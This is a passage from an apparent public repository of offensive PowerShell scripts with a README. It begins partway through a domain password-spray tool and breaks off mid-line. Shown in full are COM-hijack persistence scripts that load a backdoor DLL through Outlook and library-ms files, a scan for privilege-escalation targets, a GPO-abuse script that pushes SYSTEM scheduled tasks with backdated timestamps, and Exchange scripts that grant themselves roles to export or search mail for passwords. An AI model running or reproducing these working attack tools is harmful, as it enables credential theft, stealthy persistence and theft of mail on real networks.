"yellow" "[*] Removing disabled users from list." 399 | # More precise LDAP filter UAC check for users that are disabled (Joff Thyer) 400 | # LDAP 1.2.840.113556.1.4.803 means bitwise & 401 | # uac 0x2 is ACCOUNTDISABLE 402 | # uac 0x10 is LOCKOUT 403 | # See http://jackstromberg.com/2013/01/useraccountcontrol-attributeflag-values/ 404 | $UserSearcher.filter = 405 | "(&(objectCategory=person)(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=16)(!userAccountControl:1.2.840.113556.1.4.803:=2)$Filter)" 406 | } 407 | else 408 | { 409 | $UserSearcher.filter = "(&(objectCategory=person)(objectClass=user)$Filter)" 410 | } 411 | 412 | $UserSearcher.PropertiesToLoad.add("samaccountname") > $Null 413 | $UserSearcher.PropertiesToLoad.add("lockouttime") > $Null 414 | $UserSearcher.PropertiesToLoad.add("badpwdcount") > $Null 415 | $UserSearcher.PropertiesToLoad.add("badpasswordtime") > $Nulll 416 | 417 | #Write-Host $UserSearcher.filter 418 | 419 | # grab batches of 1000 in results 420 | $UserSearcher.PageSize = 1000 421 | $AllUserObjects = $UserSearcher.FindAll() 422 | Write-Host -ForegroundColor "yellow" ("[*] There are " + $AllUserObjects.count + " total users found.") 423 | $UserListArray = @() 424 | 425 | if ($RemovePotentialLockouts) 426 | { 427 | Write-Host -ForegroundColor "yellow" "[*] Removing users within 1 attempt of locking out from list." 428 | foreach ($user in $AllUserObjects) 429 | { 430 | # Getting bad password counts and lst bad password time for each user 431 | $badcount = $user.Properties.badpwdcount 432 | $samaccountname = $user.Properties.samaccountname 433 | try 434 | { 435 | $badpasswordtime = $user.Properties.badpasswordtime[0] 436 | } 437 | catch 438 | { 439 | continue 440 | } 441 | $currenttime = Get-Date 442 | $lastbadpwd = [DateTime]::FromFileTime($badpasswordtime) 443 | $timedifference = ($currenttime - $lastbadpwd).TotalMinutes 444 | 445 | if ($badcount) 446 | { 447 | [int]$userbadcount = [convert]::ToInt32($badcount, 10) 448 | $attemptsuntillockout = $SmallestLockoutThreshold - $userbadcount 449 | # if there is more than 1 attempt left before a user locks out 450 | # or if the time since the last failed login is greater than the domain 451 | # observation window add user to spray list 452 | if (($timedifference -gt $observation_window) -or ($attemptsuntillockout -gt 1)) 453 | { 454 | $UserListArray += $samaccountname 455 | } 456 | } 457 | } 458 | } 459 | else 460 | { 461 | foreach ($user in $AllUserObjects) 462 | { 463 | $samaccountname = $user.Properties.samaccountname 464 | $UserListArray += $samaccountname 465 | } 466 | } 467 | 468 | Write-Host -foregroundcolor "yellow" ("[*] Created a userlist containing " + $UserListArray.count + " users gathered from the current user's domain") 469 | return $UserListArray 470 | } 471 | 472 | function Invoke-SpraySinglePassword 473 | { 474 | param( 475 | [Parameter(Position=1)] 476 | $Domain, 477 | [Parameter(Position=2)] 478 | [string[]] 479 | $UserListArray, 480 | [Parameter(Position=3)] 481 | [string] 482 | $Password, 483 | [Parameter(Position=4)] 484 | [string] 485 | $OutFile, 486 | [Parameter(Position=5)] 487 | [int] 488 | $Delay=0, 489 | [Parameter(Position=6)] 490 | [double] 491 | $Jitter=0, 492 | [Parameter(Position=7)] 493 | [switch] 494 | $UsernameAsPassword 495 | ) 496 | $time = Get-Date 497 | $count = $UserListArray.count 498 | Write-Host "[*] Now trying password $Password against $count users. Current time is $($time.ToShortTimeString())" 499 | $curr_user = 0 500 | Write-Host -ForegroundColor Yellow "[*] Writing successes to $OutFile" 501 | $RandNo = New-Object System.Random 502 | 503 | foreach ($User in $UserListArray) 504 | { 505 | if ($UsernameAsPassword) 506 | { 507 | $Password = $User 508 | } 509 | $Domain_check = New-Object System.DirectoryServices.DirectoryEntry($Domain,$User,$Password) 510 | if ($Domain_check.name -ne $null) 511 | { 512 | if ($OutFile -ne "") 513 | { 514 | Add-Content $OutFile $User`:$Password 515 | } 516 | Write-Host -ForegroundColor Green "[*] SUCCESS! User:$User Password:$Password" 517 | } 518 | $curr_user += 1 519 | Write-Host -nonewline "$curr_user of $count users tested`r" 520 | if ($Delay) 521 | { 522 | Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) 523 | } 524 | } 525 | 526 | } 527 | 528 | #function Get-ObservationWindow() 529 | #{ 530 | # Get account lockout observation window to avoid running more than 1 531 | # password spray per observation window. 532 | # $command = "cmd.exe /C net accounts /domain" 533 | # $net_accounts_results = Invoke-Expression -Command:$command 534 | # $stripped_policy = ($net_accounts_results | Where-Object {$_ -like "*Lockout Observation Window*"}) 535 | # $stripped_split_a, $stripped_split_b = $stripped_policy.split(':',2) 536 | # $observation_window_no_spaces = $stripped_split_b -Replace '\s+',"" 537 | # [int]$observation_window = [convert]::ToInt32($observation_window_no_spaces, 10) 538 | # return $observation_window 539 | #} 540 | 541 | -------------------------------------------------------------------------------- /Invoke-Enumeratefile.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-Enumeratefile 2 | { 3 | <# 4 | .SYNOPSIS 5 | Enumerate all the files under c:\Windows that the permission of NT AUTHORITY\SYSTEM is full control. 6 | We can use the task scheduler to write an arbitrary DACL to the file and then we can modify the files with normal user permissions. 7 | This script will enumerate all the files you can take control over. 8 | 9 | .LINK 10 | https://github.com/SandboxEscaper/randomrepo/blob/master/PoC-LPE.rar 11 | 12 | .PARAMETER SearchType 13 | Specifies the file byte to search. 14 | 15 | .EXAMPLE 16 | PS C:\> Invoke-Enumeratefile -SearchType exe 17 | PS C:\> Invoke-Enumeratefile -SearchType dll 18 | #> 19 | 20 | param ( 21 | [Parameter(Mandatory = $True)] 22 | [string]$SearchType 23 | ) 24 | 25 | #eg. search *.exe 26 | $Type = "*." + $SearchType 27 | $aapsid = 'NT AUTHORITY\SYSTEM' 28 | ForEach($file in (Get-ChildItem -recurse -Filter $Type -Path 'C:\windows' -ErrorAction SilentlyContinue )) 29 | { 30 | $acl = Get-Acl -path $file.PSPath 31 | ForEach($ace in $acl.Access) 32 | { 33 | If(($ace.FileSystemRights -eq [Security.AccessControl.FileSystemRights]::FullControl) -and $ace.IdentityReference.Value -eq $aapsid) 34 | { 35 | Write-Output $file.PSPath.Substring(38) 36 | } 37 | } 38 | } 39 | } 40 | Invoke-Enumeratefile -SearchType exe 41 | -------------------------------------------------------------------------------- /Invoke-LibraryFilesPersistence.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-LibraryFilesPersistence 2 | { 3 | <# 4 | .SYNOPSIS 5 | First modify the registry and then create a file named Documents.library-ms in %appdata%\Microsoft\Windows\Start Menu\Programs\Accessories. 6 | It'll load c:\test\calc.dll on start-up. 7 | Author: 3gstudent 8 | Reference: 9 | https://www.countercept.com/blog/abusing-windows-library-files-for-persistence/ 10 | #> 11 | $clsid = "{11111111-1111-1111-1111-111111111111}" 12 | $outpath = $env:appdata+"\Microsoft\Windows\Start Menu\Programs\Accessories\"+"Documents.library-ms" 13 | $payload = "c:\test\calc.dll" 14 | $xml = @" 15 | 16 | 17 | @shell32.dll,-34575 18 | 19 | 6 20 | true 21 | imageres.dll,-1002 22 | 23 | {7d49d726-3c21-4f05-99aa-fdc2c9474656} 24 | 25 | 26 | 27 | @shell32.dll,-34577 28 | true 29 | true 30 | 31 | shell:::$clsid 32 | 33 | 34 | 35 | 36 | "@ 37 | $xml| Out-File $outpath -encoding utf8 38 | $RegKey = "HKCU:\Software\Classes\CLSID\$clsid\" 39 | New-Item -type Directory $RegKey 40 | New-Item -type Directory $RegKey"InProcServer32" 41 | New-Item -type Directory $RegKey"ShellFolder" 42 | New-ItemProperty -path $RegKey"InProcServer32" -name "(default)" -value $payload -propertyType string 43 | New-ItemProperty $RegKey"InProcServer32" -name "ThreadingModel" -value "Apartment" -propertyType string 44 | New-ItemProperty $RegKey"ShellFolder" -name "Attributes" -value 0xf090013d -propertyType dword 45 | } 46 | Invoke-LibraryFilesPersistence 47 | 48 | 49 | -------------------------------------------------------------------------------- /Invoke-OutlookPersistence.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-OutlookPersistence 2 | { 3 | <# 4 | .SYNOPSIS 5 | This script allows you to use COM Object hijacking to maintain persistence. 6 | When the Outlook starts,it will load the backdoor DLL. 7 | This method is first used by Turla in public. 8 | Learn from:https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf 9 | Code by: 3gstudent@3gstudent 10 | License: BSD 3-Clause 11 | Support x86 and x64 system. 12 | 13 | .PARAMETER DLLPath 14 | Specifies the path of the backdoor DLL. 15 | .EXAMPLE 16 | PS C:\> Invoke-OutlookPersistence -DLLPath c:\test\calc.dll 17 | #> 18 | 19 | param ( 20 | [Parameter(Mandatory = $True)] 21 | [string]$DLLPath 22 | ) 23 | 24 | $OfficePath = "C:\Program Files\Microsoft Office\"+"Office*" 25 | 26 | Try 27 | { 28 | $OfficeVersion=dir -name $OfficePath -ErrorAction Stop 29 | $Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf("e")+1 ) 30 | Write-Host "[+] Microsoft Office Version:" $Ver 31 | } 32 | Catch 33 | { 34 | Write-Host "[!] I can't find Microsoft Office!" 35 | Write-Host "[+] Please reset a correct path." 36 | return 37 | } 38 | if ([IntPtr]::Size -eq 8) 39 | { 40 | Write-Host "[+] OS: x64" 41 | 42 | Try 43 | { 44 | $OfficeMainPath=$OfficePath.Substring(0,$OfficePath.LastIndexOf("\")+1)+"MEDIA" 45 | dir $OfficeMainPath -ErrorAction Stop | Out-Null 46 | Write-Host "[+] Microsoft Office bit: 64-bit" 47 | $RegPath="HKCU:Software\Classes\CLSID\" 48 | } 49 | Catch 50 | { 51 | Write-Host "[+] Microsoft Office bit: 32-bit" 52 | $RegPath="HKCU:Software\Classes\Wow6432Node\CLSID\" 53 | } 54 | } 55 | else 56 | { 57 | Write-Host "[+] OS: x86" 58 | $RegPath="HKCU:Software\Classes\CLSID\" 59 | } 60 | Write-Host "[*] Modifying registry...$RegPath" 61 | 62 | 63 | New-Item -type Directory $RegPath"{49CBB1C7-97D1-485A-9EC1-A26065633066}" | Out-Null 64 | New-Item -type Directory $RegPath"{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32" | Out-Null 65 | New-Item -type Directory $RegPath"{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}" | Out-Null 66 | New-Item -type Directory $RegPath"{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs" | Out-Null 67 | New-ItemProperty $RegPath"{49CBB1C7-97D1-485A-9EC1-A26065633066}" "(default)" -value "Mail Plugin" -propertyType string | Out-Null 68 | 69 | New-ItemProperty $RegPath"{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32" "(default)" -value $DLLPath -propertyType string | Out-Null 70 | New-ItemProperty $RegPath"{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32" ThreadingModel -value "Apartment" -propertyType string | Out-Null 71 | New-ItemProperty $RegPath"{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs" "(default)" -value "{49CBB1C7-97D1-485A-9EC1-A26065633066}" -propertyType string | Out-Null 72 | Write-Host "[+] Done." 73 | } 74 | -------------------------------------------------------------------------------- /New-GPOImmediateTask.ps1: -------------------------------------------------------------------------------- 1 | #requires -version 2 2 | 3 | <# 4 | New-GPOImmediateTask.ps1 5 | Author: 3gstudent(@3gstudent) 6 | License: BSD 3-Clause 7 | Required Dependencies: None 8 | Optional Dependencies: None 9 | Reference:http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/ 10 | Maybe I can solve the bug in harmj0y' blog. 11 | Need more test. 12 | #> 13 | 14 | function New-GPOImmediateTask { 15 | <# 16 | .SYNOPSIS 17 | Builds an 'Immediate' schtask to push out through a specified GPO. 18 | Because I haven't found out how to register the 'Immediate' schtask yet. 19 | So I have to backup the gpo,then modify the Backup.xml and gpreport.xml,and finally import the gpo. 20 | 21 | (1)Create a gpo 22 | new-gpo -name TestGPO | new-gplink -Target "dc=test,dc=com" 23 | (2)Use New-GPOImmediateTask.ps1 to backup the gpo into the current path,modify the Backup.xml and gpreport.xml and finally import the gpo 24 | New-GPOImmediateTask -TaskName Debugging -GPODisplayName TestGPO -SysPath '\\dc.test.com\sysvol\test.com' -CommandArguments '-c "123 | Out-File C:\test\debug.txt"' 25 | (3)You can force the client to refresh the gpo: 26 | Invoke-GPUpdate -Computer "TEST\COMPUTER-01" 27 | Or you can wait 90 minutes,the client's gpo will refresh automatically. 28 | 29 | .PARAMETER TaskName 30 | Name for the schtask to create. Required. 31 | .PARAMETER GPODisplayName 32 | The GPO display name to build the task for. Required. 33 | .PARAMETER SysPath 34 | '\\\SYSVOL\'. Required. 35 | .PARAMETER Command 36 | The command to execute with the task, defaults to 'powershell'. Required. 37 | .PARAMETER CommandArguments 38 | The arguments to supply to the -Command being launched. Required. 39 | 40 | .EXAMPLE 41 | PS> New-GPOImmediateTask -TaskName Debugging -GPODisplayName TestGPO -SysPath '\\dc.test.com\sysvol\test.com' -CommandArguments '-c "123 | Out-File C:\test\debug.txt"' 42 | Create an immediate schtask(Debugging) of the GPO(TestGPO) that executes the specified PowerShell arguments. 43 | #> 44 | [CmdletBinding()] 45 | 46 | Param ( 47 | [Parameter(Mandatory = $True)] 48 | [String] 49 | [ValidateNotNullOrEmpty()] 50 | $TaskName, 51 | 52 | [String] 53 | [ValidateNotNullOrEmpty()] 54 | $SysPath, 55 | 56 | [String] 57 | [ValidateNotNullOrEmpty()] 58 | $Command = 'powershell', 59 | 60 | [String] 61 | [ValidateNotNullOrEmpty()] 62 | $CommandArguments, 63 | 64 | [String] 65 | $GPODisplayName 66 | ) 67 | 68 | $TaskAuthor = 'NT AUTHORITY\System' 69 | $TaskModifiedDate = (Get-Date (Get-Date).AddDays(-30) -Format u).trim("Z") 70 | 71 | Write-Host "[*] TaskName: "$TaskName 72 | Write-Host "[*] GPODisplayName: "$GPODisplayName 73 | Write-Host "[*] SysPath: "$SysPath 74 | Write-Host "[*] Command: "$Command 75 | Write-Host "[*] CommandArguments:"$CommandArguments 76 | Write-Host "[*] TaskModifiedDate:"$TaskModifiedDate 77 | 78 | Write-Host "`n[+] Start to import the module" 79 | Import-Module GroupPolicy 80 | 81 | Write-Host "`n[+] Start to backup the GPO" 82 | $Command1 = (Backup-Gpo -Name $GPODisplayName -Path "./") 83 | $Command1 | Out-Null 84 | $BackupId = $Command1.Id 85 | $GpoId = $Command1.GpoId 86 | $BackupFolder = ('{' + $Command1.Id + '}').ToUpper() 87 | Write-Host "[*] BackupId:"$BackupId 88 | Write-Host "[*] GpoId:"$GpoId 89 | 90 | Write-Host "`n[+] Start to modify Backup.xml" 91 | 92 | $BackupxmlPath = "./" + $BackupFolder + "/Backup.xml" 93 | Write-Host "[*] BackupxmlPath: "(Resolve-Path $BackupxmlPath).Path 94 | 95 | $GpreportPath = "./" + $BackupFolder + "/gpreport.xml" 96 | 97 | $Content1 = [IO.file]::ReadAllText($BackupxmlPath) 98 | 99 | $String1 = "" 100 | $String2 = "" 101 | 102 | $Content1 = $Content1.replace($String1,$String2) 103 | 104 | $String3 = 'bkp:DescName="Unknown Extension">' 105 | 106 | $String3 = $String3.replace("\\dc.test.com\sysvol\test.com",$SysPath) 107 | $String3 = $String3.replace("2DA44238-84D1-4AAC-A3A1-42FE8EB1B4BD",$GPOId) 108 | 109 | $Content1 = $Content1.replace('bkp:DescName="Unknown Extension"/>',$String3) 110 | $Content1 | Set-Content -Encoding ASCII -Path $BackupxmlPath 111 | 112 | if(!(Test-Path $GpreportPath)) 113 | { 114 | 115 | Write-Host "[!] There is no gpreport.xml" 116 | Write-Host "`n[+] Start to export the gpreport.xml" 117 | Get-GPOReport -Name $GPODisplayName -ReportType XML -Path $GpreportPath 118 | } 119 | 120 | Write-Host "[*] GpreportPath : "(Resolve-Path $GpreportPath).Path 121 | 122 | Write-Host "`n[+] Start to modify gpreport.xml" 123 | 124 | $Content2 = [IO.file]::ReadAllText($GpreportPath) 125 | 126 | $Content2 = $Content2.replace("0","6") 127 | $Content2 = $Content2.replace("0","6") 128 | 129 | $Newguid = [guid]::NewGuid() 130 | 131 | $tempdata1 = @" 132 | true 133 | 134 | 135 | 136 | 137 | 1 138 | 139 | 140 | 141 | NT AUTHORITY\System 142 | 143 | 144 | 145 | 146 | true 147 | %LocalTimeXmlEx% 148 | %LocalTimeXmlEx% 149 | 150 | 151 | 152 | false 153 | false 154 | true 155 | false 156 | true 157 | true 158 | true 159 | PT0S 160 | IgnoreNew 161 | 7 162 | PT0S 163 | 164 | PT10M 165 | PT1H 166 | true 167 | false 168 | 169 | 170 | PT15M 171 | 3 172 | 173 | 174 | 175 | 176 | NT AUTHORITY\System 177 | InteractiveToken 178 | HighestAvailable 179 | 180 | 181 | 182 | 183 | powershell 184 | -c "123 | Out-File C:\test\debugaa.txt" 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | Scheduled Tasks 194 | 195 | 196 | "@ 197 | 198 | $tempdata1 = $tempdata1.replace("Debugging",$TaskName) 199 | $tempdata1 = $tempdata1.replace("2018-11-11 11:11:11",$TaskModifiedDate) 200 | $tempdata1 = $tempdata1.replace("{C3030B43-D3F5-480C-9393-7E252EBA6229}",$Newguid) 201 | $tempdata1 = $tempdata1.replace("powershell",$Command) 202 | $tempdata1 = $tempdata1.replace('-c "123 | Out-File C:\test\debug.txt"',$CommandArguments) 203 | 204 | $Content2 = $Content2.replace("",$tempdata1) 205 | 206 | $Content2 | Set-Content -Encoding Unicode -Path $GpreportPath 207 | 208 | Write-Host "`n[+] Start to generate ScheduledTasks.xml" 209 | 210 | $TaskXML = ''+$TaskAuthor+''+$TaskDescription+'NT AUTHORITY\SystemHighestAvailableInteractiveTokenPT10MPT1HtruefalseIgnoreNewfalsetruefalsetruefalsetruetruePT0S7PT0SPT15M3'+$Command+''+$CommandArguments+'%LocalTimeXmlEx%%LocalTimeXmlEx%true' 211 | 212 | $TaskXMLParentPath = './' + '/{' + $BackupId + '}/DomainSysvol/GPO/User/Preferences/ScheduledTasks' 213 | md $TaskXMLParentPath -ErrorAction SilentlyContinue | Out-Null 214 | $TaskXMLPath = $TaskXMLParentPath + '/ScheduledTasks.xml' 215 | 216 | $TaskXML | Set-Content -Encoding ASCII -Path $TaskXMLPath 217 | 218 | Write-Host "`n[+] Start to import the gpo" 219 | 220 | Import-GPO -BackupId $BackupId -TargetName $GPODisplayName -Path (Resolve-Path './').Path | Out-Null 221 | 222 | Write-Host "`n[+] All done." 223 | Write-Host "`n[+] Remember to clearn:"(Resolve-Path ("./" + $BackupFolder)).Path 224 | } 225 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Homework-of-Powershell 2 | powershell codes of my blog. 3 | 4 | ### Invoke-Enumeratefile.ps1 5 | 6 | Enumerate all the files under `c:\Windows` that the permission of NT AUTHORITY\SYSTEM is full control. 7 | 8 | We can use the task scheduler to write an arbitrary DACL to the file and then we can modify the files with normal user permissions. 9 | 10 | This script will enumerate all the files you can take control over. 11 | 12 | ### Invoke-LibraryFilesPersistence.ps1 13 | 14 | First modify the registry and then create a file named Documents.library-ms in %appdata%\Microsoft\Windows\Start Menu\Programs\Accessories. 15 | 16 | It'll load c:\test\calc.dll on start-up. 17 | 18 | ### Delete-Amcache.ps1 19 | 20 | This script loads the AMCache hive from the default Windows location and delete the seleted data. 21 | You can use Get-Amcache.ps1 to list the data of AMCache hive,then use this to delete the seleted data. 22 | The new AMCache hive will be saved as new.hve 23 | 24 | Get-Amcache.ps1:https://github.com/yoda66/GetAmCache/blob/master/Get-Amcache.ps1 25 | 26 | ### New-GPOImmediateTask.ps1 27 | 28 | Builds an 'Immediate' schtask to push out through a specified GPO. 29 | 30 | Because I haven't found out how to register the 'Immediate' schtask yet. 31 | 32 | So I have to backup the gpo,then modify the Backup.xml and gpreport.xml,and finally import the gpo. 33 | 34 | (1)Create a gpo 35 | new-gpo -name TestGPO | new-gplink -Target "dc=test,dc=com" 36 | (2)Use New-GPOImmediateTask.ps1 to backup the gpo into the current path,modify the Backup.xml and gpreport.xml and finally import the gpo 37 | New-GPOImmediateTask -TaskName Debugging -GPODisplayName TestGPO -SysPath '\\dc.test.com\sysvol\test.com' -CommandArguments '-c "123 | Out-File C:\test\debug.txt"' 38 | (3)You can force the client to refresh the gpo: 39 | Invoke-GPUpdate -Computer "TEST\COMPUTER-01" 40 | Or you can wait 90 minutes,the client's gpo will refresh automatically. 41 | 42 | ### dns-dump.ps1 43 | 44 | Dump all the DNS records via AD LDAP and DNS query when you can access the Active Directory. 45 | 46 | ### Invoke-OutlookPersistence.ps1 47 | 48 | This script allows you to use COM Object hijacking to maintain persistence. 49 | 50 | When the Outlook starts,it will load the backdoor DLL. 51 | 52 | This method is first used by Turla in public. 53 | 54 | Learn from:https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf 55 | 56 | ### Get-AllExports.ps1 57 | 58 | Reference: 59 | 60 | https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Get-Exports.ps1 61 | 62 | This script is mainly used to automatically scan whether the export function of DLL in the specified directory contains "minidump" or not. 63 | 64 | ### UsePSSessionToExportMailfromExchange.ps1 65 | 66 | This script will export the mail(.pst) from the Exchange server. 67 | 68 | First it will use PSSession to connect the Exchange server. 69 | 70 | Then it'll check the user's privilege. 71 | 72 | If the user is not in the "Mailbox Import Export",the script will add the user to it and reconnect the Exchange server.. 73 | 74 | Next it will export the mail and save it. 75 | 76 | At last it will remove the user from the group and remove the PSSession. 77 | 78 | ### DirectExportMailfromExchange.ps1 79 | 80 | This script will export the mail(.pst) from the Exchange server. 81 | 82 | The script needs to be executed on the Exchange server. 83 | 84 | ### UsePSSessionToSearchMailfromExchange.ps1 85 | 86 | This script will search the mail from the Exchange server and export the results to the selected mailbox. 87 | 88 | First it will use PSSession to connect the Exchange server. 89 | 90 | Then it'll check the user's privilege. 91 | 92 | If the user is not in the "Mailbox Search",the script will add the user to it and reconnect the Exchange server. 93 | 94 | Next it will search the mail from the Exchange server and export the results to the selected mailbox. 95 | 96 | At last it will remove the user from the group and remove the PSSession. 97 | 98 | ### DirectSearchMailfromExchange.ps1 99 | 100 | This script will search the mail from the Exchange server and export the results to the selected mailbox. 101 | 102 | The script needs to be executed on the Exchange server. 103 | 104 | ### Invoke-DomainPasswordSprayOutsideTheDomain.ps1 105 | 106 | This module performs a password spray attack against users of a domain. 107 | 108 | Note: 109 | It only works outside the domain environment. 110 | 111 | When you are in the domain environment,you can use the original file([Invoke-DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray)). 112 | 113 | Source:https://github.com/dafthack/DomainPasswordSpray 114 | -------------------------------------------------------------------------------- /UsePSSessionToExportMailfromExchange.ps1: -------------------------------------------------------------------------------- 1 | function UsePSSessionToExportMailfromExchange 2 | { 3 | #Requires -Version 2.0 4 | <# 5 | .SYNOPSIS 6 | This script will export the mail(.pst) from the Exchange server. 7 | First it will use PSSession to connect the Exchange server. 8 | Then it'll check the user's privilege. 9 | If the user is not in the "Mailbox Import Export",the script will add the user to it and reconnect the Exchange server. 10 | Next it will export the mail and save it. 11 | At last it will remove the user from the group and remove the PSSession. 12 | Author: 3gstudent 13 | .PARAMETER User 14 | The user to use. 15 | In general, you can choose the account in the domain admins. 16 | .PARAMETER Password 17 | The password of the user. 18 | .PARAMETER MailBox 19 | The mail you want to export. 20 | .PARAMETER ExportPath 21 | The export path of the mail. 22 | .PARAMETER ConnectionUri 23 | The uri of the Exchange server. 24 | Eg. 25 | http://Exchange01.test.com/PowerShell/ 26 | 27 | .PARAMETER $Filter 28 | The search filter of the mail. 29 | .EXAMPLE 30 | PS C:\> UsePSSessionToExportMailfromExchange -User "administrator" -Password "DomainAdmin123!" -MailBox "test1" -ExportPath "\\Exchange01.test.com\c$\test\" -ConnectionUri "http://Exchange01.test.com/PowerShell/" -Filter "{`"(body -like `"*pass*`")`"}" 31 | #> 32 | param ( 33 | [Parameter(Mandatory = $True)] 34 | [string]$User, 35 | [Parameter(Mandatory = $True)] 36 | [string]$Password, 37 | [Parameter(Mandatory = $True)] 38 | [string]$MailBox, 39 | [Parameter(Mandatory = $True)] 40 | [string]$ExportPath, 41 | [Parameter(Mandatory = $True)] 42 | [string]$ConnectionUri, 43 | [Parameter(Mandatory = $True)] 44 | [string]$Filter 45 | ) 46 | $Flag = 0 47 | Write-Host "[>] Start to Import-PSSession" 48 | #Import-PSSession 49 | $Pass = ConvertTo-SecureString -AsPlainText $Password -Force 50 | $Credential = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Pass 51 | $Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri $ConnectionUri -Authentication Kerberos -Credential $Credential 52 | Import-PSSession $Session -AllowClobber| Out-Null 53 | 54 | Write-Host "[>] Start to check user" 55 | #check user 56 | if(Get-ManagementRoleAssignment ("Mailbox Import Export-"+$User) -ErrorAction SilentlyContinue) 57 | { 58 | Write-Host "[!] The specified user already exists.No need to add it to the group" 59 | $Flag = 1 60 | } 61 | else 62 | { 63 | Write-Host "[+] Start to add user" 64 | #Add user 65 | New-ManagementRoleAssignment –Role "Mailbox Import Export" –User $User| Out-Null 66 | Write-Host "[>] Start to reconnect" 67 | #Reconnect 68 | Remove-PSSession $Session 69 | $Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri $ConnectionUri -Authentication Kerberos -Credential $Credential 70 | Import-PSSession $Session -AllowClobber| Out-Null 71 | } 72 | Write-Host "[+] Start to export mail" 73 | #Export mail and do not save the export request 74 | New-MailboxexportRequest -mailbox $MailBox -ContentFilter $Filter -FilePath ($ExportPath+$MailBox+".pst") -CompletedRequestAgeLimit 0 75 | 76 | if ($Flag = 0) 77 | { 78 | Write-Host "[>] Start to remove user" 79 | #Remove user 80 | Get-ManagementRoleAssignment ("Mailbox Import Export-"+$User) |Remove-ManagementRoleAssignment -Confirm:$false 81 | } 82 | 83 | Write-Host "[>] Start to Remove-PSSession" 84 | #Remove PSSession 85 | Remove-PSSession $Session 86 | Write-Host "[+] All done." 87 | } 88 | -------------------------------------------------------------------------------- /UsePSSessionToSearchMailfromExchange.ps1: -------------------------------------------------------------------------------- 1 | function UsePSSessionToSearchMailfromExchange 2 | { 3 | #Requires -Version 2.0 4 | <# 5 | .SYNOPSIS 6 | This script will search the mail from the Exchange server and export the results to the selected mailbox. 7 | First it will use PSSession to connect the Exchange server. 8 | Then it'll check the user's privilege. 9 | If the user is not in the "Mailbox Search",the script will add the user to it and reconnect the Exchange server. 10 | Next it will search the mail from the Exchange server and export the results to the selected mailbox. 11 | At last it will remove the user from the group and remove the PSSession. 12 | 13 | Author: 3gstudent 14 | 15 | .PARAMETER User 16 | The user to use. 17 | In general, you can choose the account in the domain admins. 18 | 19 | .PARAMETER Password 20 | The password of the user. 21 | 22 | .PARAMETER MailBox 23 | The mail you want to search. 24 | If you set it as 'All',it will search all the mailbox. 25 | 26 | .PARAMETER ConnectionUri 27 | The uri of the Exchange server. 28 | Eg. 29 | http://Exchange01.test.com/PowerShell/ 30 | 31 | .PARAMETER Filter 32 | The search filter of the mail. 33 | 34 | .PARAMETER TargetMailbox 35 | The mailbox of the results will be export. 36 | 37 | .PARAMETER TargetFolder 38 | The folder of the targetmailbox. 39 | 40 | .EXAMPLE 41 | PS C:\> UsePSSessionToSearchMailfromExchange -User "administrator" -Password "DomainAdmin123!" -MailBox "test1" -ConnectionUri "http://Exchange01.test.com/PowerShell/" -Filter "*pass*" -TargetMailbox "test2" -TargetFolder "out2" 42 | or 43 | PS C:\> UsePSSessionToSearchMailfromExchange -User "administrator" -Password "DomainAdmin123!" -MailBox "All" -ConnectionUri "http://Exchange01.test.com/PowerShell/" -Filter "*pass*" -TargetMailbox "test2" -TargetFolder "outAll" 44 | 45 | #> 46 | param ( 47 | [Parameter(Mandatory = $True)] 48 | [string]$User, 49 | [Parameter(Mandatory = $True)] 50 | [string]$Password, 51 | [Parameter(Mandatory = $True)] 52 | [string]$MailBox, 53 | [Parameter(Mandatory = $True)] 54 | [string]$ConnectionUri, 55 | [Parameter(Mandatory = $True)] 56 | [string]$Filter, 57 | [Parameter(Mandatory = $True)] 58 | [string]$TargetMailbox, 59 | [Parameter(Mandatory = $True)] 60 | [string]$TargetFolder 61 | ) 62 | $Flag = 0 63 | Write-Host "[>] Start to Import-PSSession" 64 | #Import-PSSession 65 | $Pass = ConvertTo-SecureString -AsPlainText $Password -Force 66 | $Credential = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Pass 67 | $Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri $ConnectionUri -Authentication Kerberos -Credential $Credential 68 | Import-PSSession $Session -AllowClobber| Out-Null 69 | 70 | Write-Host "[>] Start to check user" 71 | #check user 72 | if(Get-ManagementRoleAssignment ("Mailbox Search-"+$User) -ErrorAction SilentlyContinue) 73 | { 74 | Write-Host "[!] The specified user already exists.No need to add it to the group" 75 | $Flag = 1 76 | } 77 | else 78 | { 79 | Write-Host "[+] Start to add user" 80 | #Add user 81 | New-ManagementRoleAssignment –Role "Mailbox Search" –User $User| Out-Null 82 | Write-Host "[>] Start to reconnect" 83 | #Reconnect 84 | Remove-PSSession $Session 85 | $Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri $ConnectionUri -Authentication Kerberos -Credential $Credential 86 | Import-PSSession $Session -AllowClobber| Out-Null 87 | } 88 | Write-Host "[+] Start to search mail and export the results to the selectd mailbox" 89 | #Searche mail and export the results to the selectd mailbox 90 | if($MailBox -eq "all") 91 | { 92 | Write-Host "[!] It will search from all the mailbox,it may be a long time." 93 | Get-Mailbox|Search-Mailbox -SearchQuery $Filter -TargetMailbox $TargetMailbox -TargetFolder 